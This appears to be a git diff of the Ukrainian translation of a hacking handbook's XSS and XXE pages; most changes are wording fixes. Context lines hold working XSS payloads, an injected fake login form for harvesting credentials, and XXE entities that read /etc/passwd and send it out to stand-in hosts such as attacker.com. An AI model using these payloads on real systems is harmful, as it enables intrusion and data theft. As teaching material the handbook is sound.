Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певного виду взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізаційні Гаджети, тому, якщо ви знайдете, наприклад
|
||||
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Styling Gadgets, тому, якщо ви знайдете, наприклад
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -470,7 +470,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
|
||||
### Вихід з тегу \<script>
|
||||
### Вихід з \<script> тегу
|
||||
|
||||
Якщо ваш код вставлений у `<script> [...] var input = 'відображені дані' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
|
||||
```javascript
|
||||
@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### Шаблонні літерали \`\`
|
||||
|
||||
Щоб створити **рядки** окрім одинарних і подвійних лапок, JS також приймає **зворотні лапки** **` `` `**. Це відомо як шаблонні літерали, оскільки вони дозволяють **вбудовані JS вирази** з використанням синтаксису `${ ... }`.\
|
||||
Щоб створити **рядки** окрім одинарних і подвійних лапок, JS також приймає **зворотні лапки** **` `` `**. Це відомо як шаблонні літерали, оскільки вони дозволяють **вбудовувати JS вирази** за допомогою синтаксису `${ ... }`.\
|
||||
Отже, якщо ви виявите, що ваш ввід **відображається** всередині JS рядка, який використовує зворотні лапки, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **произвольний JS код**:
|
||||
|
||||
Це можна **зловживати** за допомогою:
|
||||
@ -738,7 +738,7 @@ top[8680439..toString(30)](1)
|
||||
````
|
||||
## **DOM вразливості**
|
||||
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються атакуючим**, такі як `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS код.\
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
@ -752,7 +752,7 @@ dom-xss.md
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -766,9 +766,9 @@ dom-xss.md
|
||||
|
||||
### Віддзеркалення сесії
|
||||
|
||||
Якщо ви знайдете деяке self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
Якщо ви знайдете деякі self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
|
||||
Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію.
|
||||
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
|
||||
|
||||
## Інші обхідні шляхи
|
||||
|
||||
@ -782,7 +782,7 @@ dom-xss.md
|
||||
```
|
||||
### Ruby-On-Rails обход
|
||||
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обходиться, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обходяться, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Приклад форми ([з цього звіту](https://hackerone.com/reports/709336)), якщо ви надішлете payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -836,7 +836,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
### Дійсні `<script>` Content-Types для XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви намагаєтеся завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви намагаєтеся завантажити скрипт з **content-type** таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
|
||||
> Відмовлено у виконанні скрипта з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
|
||||
@ -869,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **модуль** (за замовчуванням, нічого не потрібно пояснювати)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у **`.wbn`** файл.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -896,9 +896,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Ця поведінка була використана в [**цьому звіті**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, оскільки це може викликати XSS.
|
||||
Ця поведінка була використана в [**цьому описі**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, що може викликати XSS.
|
||||
|
||||
- [**правиласпекуляції**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -914,24 +914,24 @@ import { partition } from "lodash"
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Веб-типи вмісту для XSS
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи вмісту можуть виконувати XSS у всіх браузерах:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи контенту можуть виконувати XSS у всіх браузерах:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це на CTF)
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це в CTF)
|
||||
- application/rss+xml (вимкнено)
|
||||
- application/atom+xml (вимкнено)
|
||||
|
||||
В інших браузерах можуть використовуватися інші **`Content-Types`** для виконання довільного JS, перевірте: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Тип вмісту
|
||||
### xml Content Type
|
||||
|
||||
Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір і виконати довільний JS:
|
||||
Якщо сторінка повертає тип контенту text/xml, можливо вказати простір імен і виконати довільний JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -941,7 +941,7 @@ import { partition } from "lodash"
|
||||
```
|
||||
### Спеціальні шаблони заміни
|
||||
|
||||
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, атакуючий може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, зловмисник може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **екранування JSON рядка** всередині скрипта та виконання довільного коду.
|
||||
|
||||
@ -1360,9 +1360,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
|
||||
|
||||
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Box to ask for credentials
|
||||
### Поле для запиту облікових даних
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## XML Основи
|
||||
|
||||
XML - це мова розмітки, призначена для зберігання та транспортування даних, що має гнучку структуру, яка дозволяє використовувати описово названі теги. Вона відрізняється від HTML тим, що не обмежена набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на його початкову роль у технології AJAX.
|
||||
XML - це мова розмітки, призначена для зберігання та транспортування даних, що має гнучку структуру, яка дозволяє використовувати описово названі теги. Вона відрізняється від HTML тим, що не обмежена набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на її початкову роль у технології AJAX.
|
||||
|
||||
- **Подання даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` та `>`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані та який вміст вони можуть містити, починаючи від будь-якого типу вмісту до конкретних дочірніх елементів.
|
||||
- **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` та `>`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
|
||||
- **Визначення типу документа (DTD)**: DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого подання даних. Зовнішні сутності, визначені за допомогою URL, викликають занепокоєння з точки зору безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати техніки виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, для підтвердження вразливості.
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, щоб підтвердити вразливість.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -89,11 +89,11 @@ XXE може бути використано для зловживання SSRF
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Сліпий" SSRF - Екстракція даних поза каналом
|
||||
### "Сліпий" SSRF - Витік даних поза каналом
|
||||
|
||||
**У цьому випадку ми змусимо сервер завантажити новий DTD з шкідливим корисним навантаженням, яке надішле вміст файлу через HTTP-запит (для багаторядкових файлів ви можете спробувати екстрактувати його через \_ftp://**\_ використовуючи цей базовий сервер, наприклад [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Це пояснення базується на** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**У цьому випадку ми змусимо сервер завантажити новий DTD з шкідливим корисним навантаженням, яке надішле вміст файлу через HTTP-запит (для багаторядкових файлів ви можете спробувати витягти його через \_ftp://**\_ використовуючи цей базовий сервер, наприклад [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Це пояснення базується на** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
У даному шкідливому DTD проводиться серія кроків для екстракції даних:
|
||||
У даному шкідливому DTD проводиться серія кроків для витоку даних:
|
||||
|
||||
### Приклад шкідливого DTD:
|
||||
|
||||
@ -132,7 +132,7 @@ XXE може бути використано для зловживання SSRF
|
||||
1. Визначається XML параметрична сутність з назвою `file`, яка містить вміст файлу `/etc/passwd`.
|
||||
2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як його ім'я.
|
||||
3. Викликається сутність `eval`, що призводить до динамічного визначення сутності `error`.
|
||||
4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що викликає повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.
|
||||
4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що генерує повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.
|
||||
|
||||
Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:
|
||||
```xml
|
||||
@ -148,7 +148,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
|
||||
### **Помилка на основі (системний DTD)**
|
||||
|
||||
Отже, що з уразливостями сліпого XXE, коли **взаємодії поза каналом заблоковані** (зовнішні з'єднання недоступні)?
|
||||
Отже, що робити з уразливостями сліпого XXE, коли **взаємодії поза каналом заблоковані** (зовнішні з'єднання недоступні)?
|
||||
|
||||
Лазівка в специфікації мови XML може **викрити чутливі дані через повідомлення про помилки, коли DTD документа поєднує внутрішні та зовнішні декларації**. Ця проблема дозволяє внутрішню перезапис сутностей, оголошених зовні, що полегшує виконання атак XXE на основі помилок. Такі атаки експлуатують перезапис сутності параметра XML, спочатку оголошеного в зовнішньому DTD, зсередини внутрішнього DTD. Коли з'єднання поза каналом заблоковані сервером, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, намагаючись викликати помилку парсингу, щоб розкрити чутливу інформацію.
|
||||
|
||||
@ -168,7 +168,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
Описані кроки виконуються цим DTD:
|
||||
|
||||
- Визначення XML параметричної сутності з назвою `local_dtd` включає зовнішній DTD файл, розташований на файловій системі сервера.
|
||||
- Відбувається повторне визначення XML параметричної сутності `custom_entity`, спочатку визначеної у зовнішньому DTD, для інкапсуляції [експлойту на основі помилок XXE](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Це повторне визначення призначене для викликання помилки парсингу, що відкриває вміст файлу `/etc/passwd`.
|
||||
- Відбувається повторне визначення для XML параметричної сутності `custom_entity`, спочатку визначеної у зовнішньому DTD, щоб інкапсулювати [експлойт XXE на основі помилок](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Це повторне визначення призначене для викликання помилки парсингу, що відкриває вміст файлу `/etc/passwd`.
|
||||
- Використовуючи сутність `local_dtd`, залучається зовнішній DTD, що охоплює нововизначену `custom_entity`. Ця послідовність дій призводить до виникнення повідомлення про помилку, яке є метою експлойту.
|
||||
|
||||
**Приклад з реального життя:** Системи, що використовують середовище робочого столу GNOME, часто мають DTD за адресою `/usr/share/yelp/dtd/docbookx.dtd`, що містить сутність з назвою `ISOamso`.
|
||||
@ -188,7 +188,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
```
|
||||
.png>)
|
||||
|
||||
Оскільки ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, яке використовує сервер, і **шукаючи деякі стандартні DTD**, або **збираючи список** **стандартних DTD** в системах і **перевіряючи**, чи існує якийсь з них:
|
||||
Оскільки ця техніка використовує **внутрішній DTD, вам спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, яке використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує хоча б один з них:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -221,11 +221,11 @@ Testing 0 entities : []
|
||||
|
||||
Для більш детального пояснення цієї атаки, **перегляньте другий розділ** [**цього чудового посту**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **від Detectify**.
|
||||
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім витягують певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде проаналізувати принаймні один XML файл.
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім витягують певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.
|
||||
|
||||
Щоб перевірити цю вразливість, необхідно створити **файл Microsoft Office, що містить XXE payload**. Першим кроком є створення порожньої директорії, в яку документ може бути розпакований.
|
||||
|
||||
Після розпакування документа, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати у зручному текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
Після розпакування документа, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати в улюбленому текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
|
||||
Змінені XML рядки слід вставити між двома кореневими XML об'єктами. Важливо замінити URL на моніторинговий URL для запитів.
|
||||
|
||||
@ -241,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Щоб мати можливість отримати доступ до файлів всередині PKZIP файлів, це **дуже корисно для зловживання XXE через системні DTD файли.** Перевірте [цей розділ, щоб дізнатися, як зловживати системними DTD файлами](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Щоб мати можливість отримувати доступ до файлів всередині PKZIP файлів, це **дуже корисно для зловживання XXE через системні DTD файли.** Перевірте [цей розділ, щоб дізнатися, як зловживати системними DTD файлами](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:
|
||||
|
||||
@ -257,7 +257,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Запис файлів у тимчасовому каталозі може допомогти **ескалації іншої вразливості, що пов'язана з обходом шляху** (таких як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
|
||||
> Запис файлів у тимчасовому каталозі може допомогти **ескалації іншої вразливості, що пов'язана з обходом шляху** (таких як включення локальних файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -310,7 +310,7 @@ Responder.py -I eth0 -v
|
||||
|
||||
### XInclude
|
||||
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні XXE атаки через обмеження на модифікацію елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод є ефективним навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на модифікацію елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод є ефективним навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
|
||||
Щоб виконати атаку `XInclude`, необхідно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
|
||||
```xml
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: Від JSON до XEE
|
||||
|
||||
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Тут](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) ви можете знайти цей приклад:
|
||||
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -429,7 +429,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
### HTML Entities
|
||||
|
||||
Трюк з [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Ви можете створити **сущність всередині сущності**, закодувавши її за допомогою **html entities** і потім викликати її для **завантаження dtd**.\
|
||||
Ви можете створити **сущність всередині сущності**, закодувавши її за допомогою **html entities**, а потім викликати її для **завантаження dtd**.\
|
||||
Зверніть увагу, що **HTML Entities**, які використовуються, повинні бути **числовими** (як \[в цьому прикладі]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Однак цей запит викликає помилку внутрішнього сервера, зокрема згадуючи про проблему з деклараціями розмітки:
|
||||
Однак, цей запит викликає помилку внутрішнього сервера, зокрема згадуючи про проблему з деклараціями розмітки:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -516,7 +516,7 @@ Content-Type: application/x-xliff+xml
|
||||
```
|
||||
Цей підхід показує, що User Agent вказує на використання Java 1.8. Відзначеною обмеженням цієї версії Java є неможливість отримати файли, що містять символ нового рядка, такі як /etc/passwd, використовуючи техніку Out of Band.
|
||||
|
||||
Витік даних на основі помилок Щоб подолати це обмеження, використовується підхід на основі помилок. Файл DTD структурований наступним чином, щоб викликати помилку, яка містить дані з цільового файлу:
|
||||
Error-Based Data Exfiltration Щоб подолати це обмеження, використовується підхід на основі помилок. Файл DTD структурований наступним чином, щоб викликати помилку, яка включає дані з цільового файлу:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
@ -679,13 +679,13 @@ https://github.com/luisfontes19/xxexploiter
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
- Витягти інформацію через HTTP, використовуючи власний зовнішній DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Витягти інформацію через HTTP, використовуючи власний зовнішній DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
